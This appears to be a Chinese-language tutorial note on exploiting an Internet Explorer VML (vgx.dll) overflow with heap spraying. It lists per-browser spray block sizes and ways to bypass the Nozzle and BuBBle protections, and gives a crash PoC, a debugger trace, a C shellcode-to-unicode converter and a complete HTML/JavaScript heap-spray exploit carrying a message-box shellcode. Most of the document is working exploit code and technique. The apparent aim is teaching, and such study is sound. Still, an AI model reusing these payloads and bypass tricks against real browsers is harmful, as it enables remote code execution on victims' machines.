很多返回地址 存在这样一种情况:
不同主机 不同路径。
导致在覆盖时无法确定返回地址
那么你去覆盖时 不能准确的覆盖上返回地址 导致溢出失败
1 使用按字节相同的双字跳转
2 使用堆中的地址
下面引用 riusksk大牛的话:
1、堆喷射堆块大小 ≈ 程序堆块分配大小,以减小堆空隙大小。 2、不能使用堆缓存块,否则可能破坏地址的可预测性,可通过申请6块相应大小的堆块来清空缓存。 3、精确定位ROP地址,目标地址如0x0c0c0c0c至堆块数据起始地址的offset = ( 0x0c0c0c0c - UserPtr(堆数据起始地址))/2,IE7:0x5FA,IE8:0x5F4/0x5F6,IE9:0x5FC/0x5FE,Firefox9:0x606,可能不同语言版本会存在偏差。 4、不同系统、不同浏览器版本喷射块大小: XP SP3 – IE7 block = shellcode.substring(2,0x10000-0×21); XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21); Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2); Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2); Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2); Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2); XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2); 5、Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。 6、BuBBle保护机制(Firefox):检测JavaScript是否尝试重复申请 NOPs + shellcode (padding + rop chain + shellcode + padding)的内存块,若发现包含这些字段则阻止其内存申请。 7、分配 随机数 + rop + shellcode + 随机数 的堆块,以保证各分配块都是不同的,以此绕过上述保护机制,主要针对IE9。 8、利用随机变量名 + 随机块绕过 Firefox9 的保护。 9、HTML5 Heap Spray:EUSecWest2012上的演讲主题,通杀Chrome、Firefox、IE9和Safari a、利用canvas标签定义图形,通过脚本控制每个像素的数据再进行喷射; b、利用Web Worker的多线程功能,加速堆喷射过程,但IE不支持Worker。
cgx.dll IE溢出的核心组件
<html xmlns:v="urn:schemas-microsoft-com:vml"> <head> <title>failwest</title> <style> <!--v\:* { behavior: url(#default#VML); }--> </style> </head> <body> <v:rect style="width:44pt;height:44pt" fillcolor="black"> <v:fill method="QQQQ"/> <!-- 这里是通过 没检测method 字符串的长度 导致溢出--> </v:rect> </body> </html>IDA 看到 TEXT 函数 得到地址 不用这步也行
659D7BAB E8 3AFFFFFF call vgx.659D7AEA
659D7BB0 85C0 test eax,eax
659D7BB2 ^ 75 DB jnz short vgx.659D7B8F
659D7BB4 83FE 02 cmp esi,2
659D7BB7 7F 05 jg short vgx.659D7BBE
659D7BB9 83FF 03 cmp edi,3
659D7BBC 75 05 jnz short vgx.659D7BC3
659D7BBE BF 03000040 mov edi,40000003
659D7BC3 8B45 FC mov eax,dword ptr ss:[ebp-4]
659D7BC6 8938 mov dword ptr ds:[eax],edi 运行到这里 报错eax指向我们的赋值字符串
弹出窗口的 JS 的 shellcode .txt 生成:#include <stdio.h>
FILE * fp=NULL;
void A2U(unsigned char * ascii, int size)
{
int i=0;
unsigned int unicode = 0;
for(i=0; i<size; i+=2)//read a unicode
{
unicode = (ascii[i+1] << 8) + ascii[i];
//printf("\\u%0.4x", unicode);
fprintf(fp, "\\u%0.4x", unicode);
}
}
void main(int argc, char **argv)
{
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
if((fp=fopen("unicode_shellcode.txt","w"))==NULL)
exit(0);
A2U(popup_general, strlen(popup_general)); //ASCII 到UNICODE的转换
fclose(fp);
}
利用 POC代码:
1) 申请1MB且全部被0x90填满的内存块
2)游戏JAVA会为申请的的内存填上一些额外的信息,为了保证内存恰好是1MB 我们将这些额外的空间减去
32 bytes 堆块信息
4 bytes 字符串长度
2 bytes 字符串结束符两字节的NULL
最后是 shellcode的长度
最终我们使用200个这种形式的内存片来覆盖堆内存 只要其中任意一个NOP区能够 覆盖 0x0c0c0c0c 攻击就可以成功
一般在使用 Heap Spray 的时候一般会将EIP指向堆区的0X0C0C0C0C位置 然后JS申请大量内存 并用包含0X90+shellcode内存片去覆盖这些内存
<html xmlns:v="urn:schemas-microsoft-com:vml"> <head> <title>failwest</title> <style> <!--v\:* { behavior: url(#default#VML); }--> </style> </head> <script language="javascript"> var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857"; var nop="\u9090\u9090"; while (nop.length<= 0x100000/2) { nop+=nop; } nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 ); var slide = new Array(); for (var i=0; i<200; i++) { slide[i] = nop + shellcode; } </script> <body> <v:rect style="width:444pt;height:444pt" fillcolor="black"> <v:fill method="很多的 ఌఌ 相连接,确保覆盖我们的返回地址 ,函数返回后 跳去 堆区的 0x0c0c0c0c 取值执行 ,恰好遇到我们申请的其中一块内存堆,在经过大量的NOP后 执行我们的shellcode "/> </v:rect> </body> </html>原理 类似 盲打 大量的盲打 提高命中率